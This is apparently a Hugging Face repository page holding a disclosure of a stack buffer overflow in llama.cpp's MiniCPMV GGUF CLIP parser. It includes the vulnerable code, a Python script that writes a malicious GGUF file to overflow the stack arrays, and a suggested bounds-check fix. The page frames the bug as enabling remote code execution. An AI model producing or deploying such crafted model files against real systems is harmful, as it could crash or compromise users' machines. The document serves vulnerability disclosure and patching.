Downloads · 30 days
0
sampsonc/llama-cpp-gguf-minicpmv-overflow-poc
llama-cpp-gguf-minicpmv-overflow-poc is a machine learning model from sampsonc. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
Stack buffer overflow in llama.cpp GGUF CLIP model parser affecting MiniCPMV multimodal projector. Fixed-size stack arrays with attacker-controlled loop bounds enable RCE via stack corruption.
Downloads · 30 days
0
Access
Public
Updated Apr 10, 2026
Repo size
—
Likes
0
Public
Click a slice to open those files.
.md2.8 KB · 65%
From the Hugging Face model README
Stack buffer overflow in llama.cpp GGUF CLIP model parser affecting MiniCPMV multimodal projector. Fixed-size stack arrays with attacker-controlled loop bounds enable RCE via stack corruption.
Location: tools/mtmd/clip.cpp:3001-3012
Impact: Remote Code Execution via malicious GGUF files
// Fixed 1024-element stack arrays
int bucket_coords_h[1024];
int bucket_coords_w[1024];
// Loops with attacker-controlled bounds
for (int i = 0; i < pos_h; i++){
bucket_coords_h[i] = std::floor(70.0*i/pos_h); // overflow here
}
for (int i = 0; i < pos_w; i++){
bucket_coords_w[i] = std::floor(70.0*i/pos_w); // overflow here
}
#!/usr/bin/env python3
# make evil gguf file to crash minicpmv
import struct
def write_u32(f, val):
f.write(struct.pack('<I', val))
def write_u64(f, val):
f.write(struct.pack('<Q', val))
def write_str(f, s):
b = s.encode('utf-8')
write_u64(f, len(b))
f.write(b)
def write_kv(f, key, typ, val):
write_str(f, key)
write_u32(f, typ)
if typ == 4: # uint32
write_u32(f, val)
elif typ == 8: # string
write_str(f, val)
# Create malicious GGUF file
with open('crash_2048.gguf', 'wb') as f:
# GGUF header
f.write(b'GGUF') # magic
write_u32(f, 3) # version
write_u64(f, 0) # no tensors
write_u64(f, 3) # 3 metadata pairs
# Target MiniCPMV projector
write_kv(f, "clip.projector_type", 8, "minicpmv")
# Set patch_size = 1 for maximum pos_h/pos_w
write_kv(f, "clip.vision.patch_size", 4, 1)
# Set image_size = 2048 -> pos_h = 2048 > 1024 = overflow
write_kv(f, "clip.vision.image_size", 4, 2048)
clip.projector_type = "minicpmv"pos_h = image_size / patch_size = 2048 / 1 = 2048// Add bounds check
if (pos_h > 1024 || pos_w > 1024) {
return false;
}
// Or use dynamic allocation
std::vector<int> bucket_coords_h(pos_h);
std::vector<int> bucket_coords_w(pos_w);